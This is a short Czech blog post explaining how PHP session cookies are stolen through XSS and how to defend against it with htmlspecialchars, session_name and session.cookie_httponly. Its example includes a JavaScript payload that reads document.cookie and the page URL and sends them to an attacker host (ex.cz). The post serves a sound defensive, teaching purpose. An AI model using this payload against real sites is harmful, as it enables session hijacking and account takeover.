POZOR! Článek jsem napsal před více jak rokem, a tudíž už nemusí reflektovat můj nynější názor nebo může být zastaralý.
Ukrást sezení znamená vzít z cizího klientského počítače sušenku (cookie) se jménem PHPSESSID a nastavit tuto hodnotu ve svém prohlížeči. Pro server jste pak stejný uživatel (máte stejné $_SESSION).
Abychom se mohli bránit, musíme vědět jak útok probíhá. Útočník například v poli pro Jméno vyplní následující kód:
Že vypadá na první pohled neškodně? A co když soubor http://ex.cz/i.js bude obsahovat toto?
function o () {
var t_id = document.cookie;
var t_url = document.URL;
jQuery.ajax('http://ex.cz/i.php?id='+t_id+'&url='+t_url,{dataType: 'jsonp'});
}
o();
(jQuery je tam pouze pro zjednodušení příkladu, pravý útočník bude mít propracovaný kód, která rozhodně žádnou knihovnu nepotřebuje.)
Nyní, když administrátor ve svém interním systému prohlédne jméno a nemá ošetřené vstupní data proti XSS, spustí se mu skript, který odešle na útočníkův server všechna cookies a URL adresu. Tedy bude znát PHPSESSID i adresu administrace.
Bráníme se tedy zaprvé tím, že máme vše ošetřené přes htmlspecialchars() (či podobné). To je základ všeho a je dobré využívat vlastnosti frameworků (například Nette), které to dělají automaticky.
Zadruhé máme možnost změnit jméno PHPSESSID na jiné pomocí funkce session_name(‚jinejmeno‘). Ale to myslím si zbytečné, protože útočník v našem případě vidí všechna cookies.
Zatřetí, to nejdůležitější, zablokujeme prohlížeči přístup k sušenkám pomocí direktivity v php.ini
session.cookie_httponly = 1
Znáte někoho, komu by článek mohl pomoct? Zasdílejte mu ho :)